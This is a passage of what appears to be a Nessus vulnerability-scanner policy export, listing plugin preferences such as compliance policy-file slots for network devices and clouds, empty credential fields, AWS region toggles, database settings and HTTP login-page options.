Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Username : +Username : +entry + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[password]:Password : +Password : +password + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Client Id : +Client Id : +entry +443 +443 + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Subscriptions : +Subscriptions : +entry + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config);Running/(show running);Startup/(show startup) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +F5 Settings +95387 +F5 Settings[entry]:Username : +Username : +entry + + + +F5 Settings +95387 +F5 Settings[password]:Password : +Password : +password + + + +F5 Settings +95387 +F5 Settings[entry]:Port : +Port : +entry +443 +443 + +F5 Settings +95387 +F5 Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +F5 Settings +95387 +F5 Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +Known SSL ports;All;None + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal;Quiet;Verbose + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal;Avoid false alarms;Paranoid (more false alarms) + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config);Default/(show default-config);Running/(show running-config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST;GET + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +2 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex +Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a 